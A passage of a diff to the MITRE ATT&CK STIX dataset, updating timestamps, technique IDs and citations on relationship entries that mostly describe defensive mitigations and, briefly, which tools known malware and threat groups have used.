"[Ursnif](https://attack.mitre.org/software/S0386) droppers have used WMI classes to execute [PowerShell](https://attack.mitre.org/techniques/T1086) commands.(Citation: Bromium Ursnif Mar 2017)", + "description": "[Ursnif](https://attack.mitre.org/software/S0386) droppers have used WMI classes to execute [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands.(Citation: Bromium Ursnif Mar 2017)", "relationship_type": "uses", "id": "relationship--d9c20d20-cd4a-45cf-81a2-e9a8f6c9e78c", "type": "relationship", - "modified": "2019-06-24T16:46:21.025Z", + "modified": "2021-02-09T14:03:21.361Z", "created": "2019-06-10T17:44:49.348Z" }, { @@ -143305,7 +144675,7 @@ "description": "Making these files immutable and only changeable by certain administrators will limit the ability for adversaries to easily create user level persistence.", "id": "relationship--ed7da11c-2d18-4137-9911-e18138603acf", "type": "relationship", - "modified": "2020-01-24T14:14:05.657Z", + "modified": "2020-12-17T18:18:15.072Z", "created": "2019-06-13T14:49:56.162Z" }, { @@ -143336,7 +144706,7 @@ } ], "type": "relationship", - "modified": "2020-03-26T21:55:15.612Z", + "modified": "2021-04-24T13:40:53.284Z", "created": "2019-06-13T15:56:45.879Z" }, { @@ -143399,7 +144769,7 @@ ], "description": "Prevent administrator accounts from being enumerated when an application is elevating through UAC since it can lead to the disclosure of account names. The Registry key is located HKLM\\ SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\CredUI\\EnumerateAdministrators. It can be disabled through GPO: Computer Configuration > [Policies] > Administrative Templates > Windows Components > Credential User Interface: E numerate administrator accounts on elevation. (Citation: UCF STIG Elevation Account Enumeration)", "type": "relationship", - "modified": "2020-09-16T15:10:18.399Z", + "modified": "2021-04-14T12:26:11.844Z", "created": "2019-06-13T16:02:06.717Z" }, { @@ -143413,7 +144783,7 @@ "id": "relationship--9ffc8525-79a5-40a2-b371-46052daf66c5", "description": "Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.", "type": "relationship", - "modified": "2020-05-04T18:36:39.435Z", + "modified": "2021-04-20T16:21:28.892Z", "created": "2019-06-13T16:04:04.082Z" }, { @@ -143427,7 +144797,7 @@ "id": "relationship--21ea4371-e692-4731-9f8c-c3f4dff3c775", "description": "Configure access controls and firewalls to limit access to critical systems and domain controllers. Most cloud environments support separate virtual private cloud (VPC) instances that enable further segmentation of cloud systems.", "type": "relationship", - "modified": "2020-05-04T18:36:39.488Z", + "modified": "2021-04-20T16:21:28.962Z", "created": "2019-06-13T16:04:04.168Z" }, { @@ -143441,7 +144811,7 @@ "id": "relationship--74e433ec-0c52-42f2-b0d4-3e1f3a56b419", "description": "Use multi-factor authentication for user and privileged accounts.", "type": "relationship", - "modified": "2020-05-04T18:36:39.522Z", + "modified": "2021-04-20T16:21:28.925Z", "created": "2019-06-13T16:04:04.180Z" }, { @@ -143583,7 +144953,7 @@ "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", "target_ref": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7", "relationship_type": "mitigates", - "description": "\nConsider reducing the default BITS job lifetime in Group Policy or by editing the JobInactivityTimeout and MaxDownloadTime Registry values in HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\BITS. (Citation: Microsoft BITS)", + "description": "\nConsider reducing the default BITS job lifetime in Group Policy or by editing the JobInactivityTimeout and MaxDownloadTime Registry values in HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\BITS.(Citation: Microsoft BITS)", "id": "relationship--57d1a497-ef75-46de-b284-eefa90a99172", "external_references": [ { @@ -143593,7 +144963,7 @@ } ], "type": "relationship", - "modified": "2020-05-20T18:23:36.110Z", + "modified": "2021-04-13T21:36:05.231Z", "created": "2019-06-13T16:47:55.972Z" }, { @@ -143607,7 +144977,7 @@ "description": "Modify network and/or host firewall rules, as well as other network controls, to only allow legitimate BITS traffic.", "id": "relationship--4b4d8f9e-a416-4af6-9c20-582892601668", "type": "relationship", - "modified": "2020-03-25T23:28:10.327Z", + "modified": "2021-04-13T21:36:05.235Z", "created": "2019-06-13T16:47:56.005Z" }, { @@ -143661,7 +145031,7 @@ "description": "\nClose out all browser sessions when finished using them to prevent any potentially malicious extensions from continuing to run.", "id": "relationship--bef3018a-1a38-4d1f-83ae-094f6c18f2a4", "type": "relationship", - "modified": "2020-03-25T23:36:30.821Z", + "modified": "2021-04-27T19:56:54.579Z", "created": "2019-06-13T16:53:10.321Z" }, { @@ -143675,7 +145045,7 @@ "description": "Only install browser extensions from trusted sources that can be verified. Browser extensions for some browsers can be controlled through Group Policy. Change settings to prevent the browser from installing extensions without sufficient permissions.", "id": "relationship--08dea09a-e7f5-4e6d-a142-73548f6f1498", "type": "relationship", - "modified": "2020-03-25T23:36:30.819Z", + "modified": "2021-04-27T19:56:54.621Z", "created": "2019-06-13T16:53:10.338Z" }, { @@ -143696,7 +145066,7 @@ } ], "type": "relationship", - "modified": "2020-06-20T20:11:42.310Z", + "modified": "2021-04-27T19:56:54.623Z", "created": "2019-06-13T16:53:10.350Z" }, { @@ -143710,7 +145080,7 @@ "description": " Ensure extensions that are installed are the intended ones as many malicious extensions will masquerade as legitimate ones.", "id": "relationship--0e686457-461d-496b-b838-dc8ca57a9f32", "type": "relationship", - "modified": "2020-03-25T23:36:30.840Z", + "modified": "2021-04-27T19:56:54.689Z", "created": "2019-06-13T16:53:10.363Z" }, { @@ -143731,7 +145101,7 @@ } ], "type": "relationship", - "modified": "2020-10-21T16:38:28.187Z", + "modified": "2021-04-14T12:04:36.625Z", "created": "2019-06-13T16:59:18.369Z" }, { @@ -143745,7 +145115,7 @@ "description": "Use multi-factor authentication. Where possible, also enable multi-factor authentication on externally facing services.", "id": "relationship--cb87a0ce-0976-49e5-8e9c-2c908a24b30f", "type": "relationship", - "modified": "2020-10-21T16:38:28.180Z", + "modified": "2021-04-14T12:04:36.622Z", "created": "2019-06-13T16:59:18.386Z" }, { @@ -143759,7 +145129,7 @@ "description": "Set account lockout policies after a certain number of failed login attempts to prevent passwords from being guessed. Too strict a policy may create a denial of service condition and render environments un-usable, with all accounts used in the brute force being locked-out.", "id": "relationship--c1a6c86e-5d5d-4cf1-845e-1660d9c19baf", "type": "relationship", - "modified": "2020-10-21T16:38:28.185Z", + "modified": "2021-04-14T12:04:36.677Z", "created": "2019-06-13T16:59:18.442Z" }, { @@ -144000,11 +145370,11 @@ "source_name": "Morphisec ShellTea June 2019" } ], - "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) has used [PowerShell](https://attack.mitre.org/techniques/T1086) scripts.(Citation: Morphisec ShellTea June 2019)", + "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) has used [PowerShell](https://attack.mitre.org/techniques/T1059/001) scripts.(Citation: Morphisec ShellTea June 2019)", "relationship_type": "uses", "id": "relationship--8dbcee86-c9db-4ae3-ba16-29056a8a1593", "type": "relationship", - "modified": "2020-03-18T18:52:41.082Z", + "modified": "2021-02-09T14:07:11.264Z", "created": "2019-06-13T19:12:07.346Z" }, { @@ -144021,11 +145391,11 @@ "source_name": "Morphisec ShellTea June 2019" } ], - "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) has used [PowerShell](https://attack.mitre.org/techniques/T1086) to decode base64-encoded assembly.(Citation: Morphisec ShellTea June 2019)", + "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) has used [PowerShell](https://attack.mitre.org/techniques/T1059/001) to decode base64-encoded assembly.(Citation: Morphisec ShellTea June 2019)", "relationship_type": "uses", "id": "relationship--bdd9a384-2d57-4238-bddd-5500e667d620", "type": "relationship", - "modified": "2019-06-28T20:48:52.706Z", + "modified": "2021-02-09T14:07:11.297Z", "created": "2019-06-13T19:12:07.349Z" }, { @@ -144533,7 +145903,7 @@ } ], "type": "relationship", - "modified": "2020-06-09T20:44:40.825Z", + "modified": "2021-02-09T14:15:25.618Z", "created": "2019-06-14T17:21:38.567Z" }, { @@ -144547,7 +145917,7 @@ "description": "Ensure that local administrator accounts have complex, unique passwords across all systems on the network.", "id": "relationship--7a3426bf-1751-43db-b844-6bf388a4c817", "type": "relationship", - "modified": "2020-06-09T20:44:40.822Z", + "modified": "2021-02-09T14:15:25.601Z", "created": "2019-06-14T17:21:38.582Z" }, { @@ -144573,7 +145943,7 @@ } ], "type": "relationship", - "modified": "2020-06-09T20:44:40.851Z", + "modified": "2021-02-09T14:15:25.638Z", "created": "2019-06-14T17:21:38.632Z" }, { @@ -145485,11 +146855,11 @@ "source_name": "ESET Turla PowerShell May 2019" } ], - "description": "[Turla](https://attack.mitre.org/groups/G0010) has used a custom decryption routine, which pulls key and salt values from other artifacts such as a WMI filter or [PowerShell Profile](https://attack.mitre.org/techniques/T1504), to decode encrypted PowerShell payloads.(Citation: ESET Turla PowerShell May 2019)", + "description": "[Turla](https://attack.mitre.org/groups/G0010) has used a custom decryption routine, which pulls key and salt values from other artifacts such as a WMI filter or [PowerShell Profile](https://attack.mitre.org/techniques/T1546/013), to decode encrypted PowerShell payloads.(Citation: ESET Turla PowerShell May 2019)", "relationship_type": "uses", "id": "relationship--07516f04-c7aa-46c7-9cca-0f81b84043e2", "type": "relationship", - "modified": "2019-07-14T21:04:45.423Z", + "modified": "2021-02-09T14:37:26.349Z", "created": "2019-06-20T01:02:00.303Z" }, { @@ -145510,7 +146880,7 @@ } ], "type": "relationship", - "modified": "2020-03-29T01:37:35.841Z", + "modified": "2021-04-14T12:05:32.640Z", "created": "2019-06-20T13:58:02.416Z" }, { @@ -146031,16 +147401,21 @@ "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "external_references": [ { - "source_name": "ESET Zebrocy May 2019", + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/", - "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019." + "source_name": "ESET Zebrocy May 2019" + }, + { + "source_name": "CISA Zebrocy Oct 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b", + "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020." } ], - "description": "[Zebrocy](https://attack.mitre.org/software/S0251) uses cmd.exe to execute commands on the system.(Citation: ESET Zebrocy May 2019)", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) uses cmd.exe to execute commands on the system.(Citation: ESET Zebrocy May 2019)(Citation: CISA Zebrocy Oct 2020) ", "relationship_type": "uses", "id": "relationship--b7cd3903-1b6d-4163-b7cf-97dbdeefda05", "type": "relationship", - "modified": "2020-03-18T15:44:09.598Z", + "modified": "2020-12-09T21:54:34.483Z", "created": "2019-06-20T15:44:46.309Z" }, { @@ -146055,23 +147430,13 @@ "id": "relationship--52fcde3f-d3af-4785-940f-5856dd657455", "external_references": [ { - "source_name": "CERT-EU DDoS March 2017", + "description": "Meintanis, S., Revuelto, V., Socha, K.. (2017, March 10). DDoS Overview and Response Guide. Retrieved April 24, 2019.", "url": "http://cert.europa.eu/static/WhitePapers/CERT-EU_Security_Whitepaper_DDoS_17-003.pdf", - "description": "Meintanis, S., Revuelto, V., Socha, K.. (2017, March 10). DDoS Overview and Response Guide. Retrieved April 24, 2019." - }, - { - "source_name": "CERT-EU DDoS March 2017", - "url": "http://cert.europa.eu/static/WhitePapers/CERT-EU_Security_Whitepaper_DDoS_17-003.pdf", - "description": "Meintanis, S., Revuelto, V., Socha, K.. (2017, March 10). DDoS Overview and Response Guide. Retrieved April 24, 2019." - }, - { - "source_name": "CERT-EU DDoS March 2017", - "url": "http://cert.europa.eu/static/WhitePapers/CERT-EU_Security_Whitepaper_DDoS_17-003.pdf", - "description": "Meintanis, S., Revuelto, V., Socha, K.. (2017, March 10). DDoS Overview and Response Guide. Retrieved April 24, 2019." + "source_name": "CERT-EU DDoS March 2017" } ], "type": "relationship", - "modified": "2020-06-01T13:16:33.152Z", + "modified": "2021-04-12T18:34:07.218Z", "created": "2019-06-20T15:44:50.969Z" }, { @@ -146120,7 +147485,7 @@ "description": "Ensure proper registry permissions are in place to inhibit adversaries from disabling or interfering with critical services.", "id": "relationship--c00535d0-6e59-4293-8034-70e5bf94a74a", "type": "relationship", - "modified": "2020-07-24T15:36:08.247Z", + "modified": "2021-03-02T22:11:32.208Z", "created": "2019-06-20T16:18:23.049Z" }, { @@ -146134,7 +147499,7 @@ "description": "Ensure proper process and file permissions are in place to inhibit adversaries from disabling or interfering with critical services.", "id": "relationship--e28dc4ab-86fe-480e-9f0d-d7fab54c432d", "type": "relationship", - "modified": "2020-07-24T15:36:08.246Z", + "modified": "2021-03-02T22:11:32.213Z", "created": "2019-06-20T16:18:23.056Z" }, { @@ -146148,7 +147513,7 @@ "description": "Operate intrusion detection, analysis, and response systems on a separate network from the production environment to lessen the chances that an adversary can see and interfere with critical response functions.", "id": "relationship--40cd458c-5a59-4a8d-a04a-3cd3faebaf66", "type": "relationship", - "modified": "2020-07-24T15:36:08.276Z", + "modified": "2021-03-02T22:11:32.206Z", "created": "2019-06-20T16:18:23.058Z" }, { @@ -146295,7 +147660,7 @@ "description": "Develop and publish policies that define acceptable information to be stored in repositories.", "id": "relationship--2ffde834-36f9-463d-93c4-77048f020cf9", "type": "relationship", - "modified": "2020-10-12T12:16:55.356Z", + "modified": "2021-04-14T14:16:12.347Z", "created": "2019-06-20T18:55:36.315Z" }, { @@ -146309,7 +147674,7 @@ "description": "Consider periodic review of accounts and privileges for critical and sensitive repositories.", "id": "relationship--eacf09ab-0264-4af8-bfa5-f3be9df47e3f", "type": "relationship", - "modified": "2020-10-12T12:16:55.362Z", + "modified": "2021-04-14T14:16:12.373Z", "created": "2019-06-20T18:55:36.343Z" }, { @@ -146438,7 +147803,7 @@ "description": "If msxsl.exe is unnecessary, then block its execution to prevent abuse by adversaries.", "id": "relationship--af393cd2-2a5a-41f8-a1b1-218f30beb4dd", "type": "relationship", - "modified": "2020-06-20T22:45:46.677Z", + "modified": "2021-02-09T15:07:01.031Z", "created": "2019-06-21T12:06:48.737Z" }, { @@ -146522,7 +147887,7 @@ "description": "Use of multi-factor authentication for public-facing webmail servers is a recommended best practice to minimize the usefulness of usernames and passwords to adversaries.", "id": "relationship--3709ccc2-2370-4dc9-92ac-792867bbdea4", "type": "relationship", - "modified": "2020-03-24T18:31:06.665Z", + "modified": "2021-04-14T14:22:44.563Z", "created": "2019-06-21T13:49:14.598Z" }, { @@ -146536,7 +147901,7 @@ "description": "Use of encryption provides an added layer of security to sensitive information sent over email. Encryption using public key cryptography requires the adversary to obtain the private certificate along with an encryption key to decrypt messages.", "id": "relationship--c15c9cbf-7ecc-4e2b-8fe1-636f381bac63", "type": "relationship", - "modified": "2020-03-24T18:31:06.669Z", + "modified": "2021-04-14T14:22:44.597Z", "created": "2019-06-21T13:49:14.612Z" }, { @@ -146602,7 +147967,7 @@ "description": "Close all browser sessions regularly and when they are no longer needed.", "id": "relationship--8d6d88c3-dbfe-492a-8c4c-ee4bfc10bdc3", "type": "relationship", - "modified": "2020-07-14T19:39:44.780Z", + "modified": "2021-02-09T15:34:09.621Z", "created": "2019-06-21T13:58:04.205Z" }, { @@ -146920,7 +148285,7 @@ } ], "type": "relationship", - "modified": "2020-08-04T14:04:58.488Z", + "modified": "2021-04-12T18:27:52.690Z", "created": "2019-06-21T16:21:55.301Z" }, { @@ -146935,13 +148300,13 @@ "id": "relationship--4f24d075-4d6c-49d2-a213-306e4af2083d", "external_references": [ { - "source_name": "US-CERT Alert TA13-175A Risks of Default Passwords on the Internet", + "description": "US-CERT. (n.d.). Risks of Default Passwords on the Internet. Retrieved April 12, 2019.", "url": "https://www.us-cert.gov/ncas/alerts/TA13-175A", - "description": "undefined. (n.d.). Risks of Default Passwords on the Internet. Retrieved April 12, 2019." + "source_name": "US-CERT Alert TA13-175A Risks of Default Passwords on the Internet" } ], "type": "relationship", - "modified": "2020-08-04T14:04:58.483Z", + "modified": "2021-04-12T18:27:52.666Z", "created": "2019-06-21T16:21:55.304Z" }, { @@ -146955,7 +148320,7 @@ "description": "Use user training as a way to bring awareness to common phishing and spearphishing techniques and how to raise suspicion for potentially malicious events.", "id": "relationship--1d1525e6-74f2-447d-ba11-9e9c9c552403", "type": "relationship", - "modified": "2020-03-11T14:55:31.333Z", + "modified": "2021-04-20T16:34:09.480Z", "created": "2019-06-21T16:28:45.435Z" }, { @@ -146969,7 +148334,7 @@ "description": "If a link is being visited by a user, block unknown or unused files in transit by default that should not be downloaded or by policy from suspicious sites as a best practice to prevent some vectors, such as .scr, .exe, .pif, .cpl, etc. Some download scanning devices can open and analyze compressed and encrypted formats, such as zip and rar that may be used to conceal malicious files.", "id": "relationship--66551074-a1e3-439c-a996-c1f7ca8136e2", "type": "relationship", - "modified": "2020-03-11T14:55:31.330Z", + "modified": "2021-04-20T16:34:09.488Z", "created": "2019-06-21T16:28:45.461Z" }, { @@ -146983,7 +148348,7 @@ "description": "Application control may be able to prevent the running of executables masquerading as other files.", "id": "relationship--225ab1b4-f800-4a92-9949-a0f05fce6213", "type": "relationship", - "modified": "2020-06-20T20:11:42.519Z", + "modified": "2021-04-20T16:34:09.487Z", "created": "2019-06-21T16:28:45.465Z" }, { @@ -146997,7 +148362,7 @@ "description": "If a link is being visited by a user, network intrusion prevention systems and systems designed to scan and remove malicious downloads can be used to block activity.", "id": "relationship--8e567361-e2de-4dc6-b953-ec82dc143f58", "type": "relationship", - "modified": "2020-03-11T14:55:31.351Z", + "modified": "2021-04-20T16:34:09.490Z", "created": "2019-06-21T16:28:45.467Z" }, { @@ -147025,7 +148390,7 @@ "description": "Properly manage accounts and permissions used by parties in trusted relationships to minimize potential abuse by the party and if the party is compromised by an adversary.", "id": "relationship--a42398e2-3daa-452a-80f8-f06660328f18", "type": "relationship", - "modified": "2020-07-14T19:38:14.419Z", + "modified": "2020-11-16T17:37:45.697Z", "created": "2019-06-21T16:45:15.046Z" }, { @@ -147039,7 +148404,7 @@ "description": "Network segmentation can be used to isolate infrastructure components that do not require broad network access.", "id": "relationship--f0e9a1f7-8600-4558-9d2e-91126c42b126", "type": "relationship", - "modified": "2020-07-14T19:38:14.434Z", + "modified": "2020-11-16T17:37:45.741Z", "created": "2019-06-21T16:45:15.071Z" }, { @@ -147165,7 +148530,7 @@ "description": "Have a strict approval policy for use of deployment systems.", "id": "relationship--8f4b9d5d-6ad7-4cca-9869-551604450f91", "type": "relationship", - "modified": "2020-09-16T15:27:01.622Z", + "modified": "2020-12-11T17:00:01.091Z", "created": "2019-06-21T17:26:42.085Z" }, { @@ -147179,7 +148544,7 @@ "description": "Patch deployment systems regularly to prevent potential remote access through [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).", "id": "relationship--33a54656-6370-4c22-af67-4ff528ba1568", "type": "relationship", - "modified": "2020-09-16T15:27:01.632Z", + "modified": "2020-12-11T17:00:01.140Z", "created": "2019-06-21T17:26:42.105Z" }, { @@ -147193,7 +148558,7 @@ "description": "If the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.", "id": "relationship--e4236234-0fd7-426f-b55a-d32364e3a64e", "type": "relationship", - "modified": "2020-09-16T15:27:01.629Z", + "modified": "2020-12-11T17:00:01.157Z", "created": "2019-06-21T17:26:42.107Z" }, { @@ -147207,7 +148572,7 @@ "description": "Ensure proper system isolation for critical network systems through use of firewalls.", "id": "relationship--8eaad388-b7ef-4fb8-88e6-c6f36065c8c4", "type": "relationship", - "modified": "2020-09-16T15:27:01.623Z", + "modified": "2020-12-11T17:00:01.179Z", "created": "2019-06-21T17:26:42.110Z" }, { @@ -147956,7 +149321,7 @@ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "source_ref": "malware--fc774af4-533b-4724-96d2-ac1026316794", - "target_ref": "attack-pattern--b63a34e8-0a61-4c97-a23b-bf8a2ed812e2", + "target_ref": "attack-pattern--dca670cf-eeec-438f-8185-fd959d9ef211", "external_references": [ { "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.", @@ -147968,7 +149333,7 @@ "relationship_type": "uses", "id": "relationship--7ced0df2-1d05-40ea-986e-28692c028d92", "type": "relationship", - "modified": "2019-07-06T22:20:35.175Z", + "modified": "2021-01-07T19:40:45.120Z", "created": "2019-06-24T13:13:57.195Z" }, { @@ -148379,7 +149744,7 @@ "description": "Regularly scan externally facing systems for vulnerabilities and establish procedures to rapidly patch systems when critical vulnerabilities are discovered through scanning and through public disclosure.", "id": "relationship--d373eebb-b578-4b59-9de1-2946bf837d96", "type": "relationship", - "modified": "2020-10-21T01:10:54.582Z", + "modified": "2021-04-12T18:25:16.692Z", "created": "2019-06-24T13:44:34.822Z" }, { @@ -148393,7 +149758,7 @@ "description": "Application isolation will limit what other processes and system features the exploited target can access.", "id": "relationship--0c8fdb59-a28f-4f8f-a788-9e3e8928c6d5", "type": "relationship", - "modified": "2020-10-21T01:10:54.601Z", + "modified": "2021-04-12T18:25:16.712Z", "created": "2019-06-24T13:44:34.840Z" }, { @@ -148407,7 +149772,7 @@ "description": "Use least privilege for service accounts will limit what permissions the exploited process gets on the rest of the system.", "id": "relationship--4d50a045-d85d-481f-ac7d-672065f1e348", "type": "relationship", - "modified": "2020-10-21T01:10:54.619Z", + "modified": "2021-04-12T18:25:16.714Z", "created": "2019-06-24T13:44:34.838Z" }, { @@ -148421,7 +149786,7 @@ "description": "Segment externally facing servers and services from the rest of the network with a DMZ or on separate hosting infrastructure.", "id": "relationship--3b726298-74dc-4f8a-b58d-f623bc645124", "type": "relationship", - "modified": "2020-10-21T01:10:54.643Z", + "modified": "2021-04-12T18:25:16.747Z", "created": "2019-06-24T13:44:34.852Z" }, { @@ -148677,7 +150042,7 @@ "description": "Update software regularly by employing patch management for internal enterprise endpoints and servers.", "id": "relationship--22d11711-5794-42aa-a9c5-02895fe3420d", "type": "relationship", - "modified": "2020-03-26T21:12:49.334Z", + "modified": "2021-04-22T16:13:35.051Z", "created": "2019-06-24T13:52:51.861Z" }, { @@ -148691,7 +150056,7 @@ "description": "Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization.", "id": "relationship--c6615e27-5984-44b3-82dc-f710c6823834", "type": "relationship", - "modified": "2020-03-26T21:12:49.365Z", + "modified": "2021-04-22T16:13:35.072Z", "created": "2019-06-24T13:52:51.878Z" }, { @@ -148717,7 +150082,7 @@ } ], "type": "relationship", - "modified": "2020-03-26T21:12:49.378Z", + "modified": "2021-04-22T16:13:35.348Z", "created": "2019-06-24T13:52:51.890Z" }, { @@ -148738,7 +150103,7 @@ } ], "type": "relationship", - "modified": "2020-03-26T21:12:49.395Z", + "modified": "2021-04-22T16:13:35.269Z", "created": "2019-06-24T13:52:51.891Z" }, { @@ -148752,7 +150117,7 @@ "description": "Regularly scan the internal network for available services to identify new and potentially vulnerable services.", "id": "relationship--16fd4ddb-1ce4-4254-a301-8ac762573a77", "type": "relationship", - "modified": "2020-02-04T20:14:11.777Z", + "modified": "2021-04-22T20:23:01.717Z", "created": "2019-06-24T13:56:03.569Z" }, { @@ -148766,7 +150131,7 @@ "description": "Update software regularly by employing patch management for internal enterprise endpoints and servers.", "id": "relationship--e395b033-b699-4360-a436-1daeada439a2", "type": "relationship", - "modified": "2020-02-04T20:14:11.774Z", + "modified": "2021-04-22T20:23:01.716Z", "created": "2019-06-24T13:56:03.589Z" }, { @@ -148780,7 +150145,7 @@ "description": "Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization.", "id": "relationship--7d9c5216-da63-4b8f-ade7-a1854e43bd3f", "type": "relationship", - "modified": "2020-02-04T20:14:11.832Z", + "modified": "2021-04-22T20:23:01.719Z", "created": "2019-06-24T13:56:03.592Z" }, { @@ -148794,7 +150159,7 @@ "description": "Minimize permissions and access for service accounts to limit impact of exploitation.", "id": "relationship--9ff11dd9-23a1-46d9-913d-c580d45667f2", "type": "relationship", - "modified": "2020-02-04T20:14:11.814Z", + "modified": "2021-04-22T20:23:01.756Z", "created": "2019-06-24T13:56:03.603Z" }, { @@ -148808,7 +150173,7 @@ "description": "Segment networks and systems appropriately to reduce access to critical systems and services to controlled methods.", "id": "relationship--474d9df3-c596-4468-877a-85e4ad91ccbb", "type": "relationship", - "modified": "2020-02-04T20:14:11.896Z", + "modified": "2021-04-22T20:23:01.742Z", "created": "2019-06-24T13:56:03.619Z" }, { @@ -148834,7 +150199,7 @@ } ], "type": "relationship", - "modified": "2020-02-04T20:14:11.834Z", + "modified": "2021-04-22T20:23:01.744Z", "created": "2019-06-24T13:56:03.621Z" }, { @@ -148848,7 +150213,7 @@ "description": "Minimize available services to only those that are necessary.", "id": "relationship--0694f0b0-c7c1-43c6-8024-17122fda2bc4", "type": "relationship", - "modified": "2020-02-04T20:14:11.895Z", + "modified": "2021-04-22T20:23:01.755Z", "created": "2019-06-24T13:56:03.622Z" }, { @@ -148869,7 +150234,7 @@ } ], "type": "relationship", - "modified": "2020-02-04T20:14:11.893Z", + "modified": "2021-04-22T20:23:01.758Z", "created": "2019-06-24T13:56:03.635Z" }, { @@ -149311,7 +150676,7 @@ "description": "Use multi-factor authentication wherever possible.", "id": "relationship--0ccddf91-2cf3-4801-a10b-ca4d253f2c8c", "type": "relationship", - "modified": "2020-03-25T21:03:49.753Z", + "modified": "2021-04-02T17:51:59.404Z", "created": "2019-06-24T16:21:04.537Z" }, { @@ -149325,7 +150690,7 @@ "description": "Ensure that all wired and/or wireless traffic is encrypted appropriately. Use best practices for authentication protocols, such as Kerberos, and ensure web traffic that may contain credentials is protected by SSL/TLS.", "id": "relationship--70d446a5-349f-4b70-9446-90e872adac42", "type": "relationship", - "modified": "2020-03-25T21:03:49.795Z", + "modified": "2021-04-02T17:51:59.400Z", "created": "2019-06-24T16:21:04.539Z" }, { @@ -149419,16 +150784,16 @@ "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) can use modules that extract passwords from common web browsers such as Firefox and Chrome.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--b97afcfc-489a-4d59-89b3-1533eae926e0", "type": "relationship", - "modified": "2020-03-25T18:46:24.704Z", + "modified": "2021-04-09T14:47:00.149Z", "created": "2019-06-24T17:15:43.981Z" }, { @@ -149489,16 +150854,21 @@ "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "external_references": [ { - "source_name": "Symantec MuddyWater Dec 2018", + "description": "Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.", "url": "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group", - "description": "Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018." + "source_name": "Symantec MuddyWater Dec 2018" + }, + { + "source_name": "Trend Micro Muddy Water March 2021", + "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html", + "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021." } ], - "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has run a tool that steals passwords saved in victim web browsers.(Citation: Symantec MuddyWater Dec 2018)", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has run tools including Browser64 to steal passwords saved in victim web browsers.(Citation: Symantec MuddyWater Dec 2018)(Citation: Trend Micro Muddy Water March 2021)", "relationship_type": "uses", "id": "relationship--885cab64-2589-4917-95ab-4ae5a2b75cd3", "type": "relationship", - "modified": "2019-06-28T15:30:59.086Z", + "modified": "2021-03-19T13:31:33.334Z", "created": "2019-06-24T18:55:39.462Z" }, { @@ -150106,7 +151476,7 @@ } ], "type": "relationship", - "modified": "2020-06-20T22:14:08.576Z", + "modified": "2021-04-24T13:19:18.884Z", "created": "2019-06-25T12:15:00.109Z" }, { @@ -150141,7 +151511,7 @@ "description": "Use network intrusion detection/prevention systems to detect and prevent remote service scans.", "id": "relationship--651225d6-5454-4c44-8d62-776bd7ddaed2", "type": "relationship", - "modified": "2020-03-11T19:55:53.949Z", + "modified": "2021-04-09T14:56:26.709Z", "created": "2019-06-25T12:25:23.792Z" }, { @@ -150155,7 +151525,7 @@ "description": "Ensure that unnecessary ports and services are closed to prevent risk of discovery and potential exploitation.", "id": "relationship--32d482c4-2c0d-4688-a38b-d73b5b2962a3", "type": "relationship", - "modified": "2020-03-11T19:55:53.922Z", + "modified": "2021-04-09T14:56:26.699Z", "created": "2019-06-25T12:25:23.800Z" }, { @@ -150225,7 +151595,7 @@ "description": "Use file system access controls to protect folders such as C:\\\\Windows\\\\System32.", "id": "relationship--72de6e56-e5d1-4a3f-aa85-d7155f7ff42c", "type": "relationship", - "modified": "2020-07-09T13:54:28.922Z", + "modified": "2021-04-24T13:23:48.967Z", "created": "2019-06-25T12:37:30.052Z" }, { @@ -150239,7 +151609,7 @@ "description": "Require signed binaries.", "id": "relationship--4fd3ec25-00ed-48c1-af72-e2523959860e", "type": "relationship", - 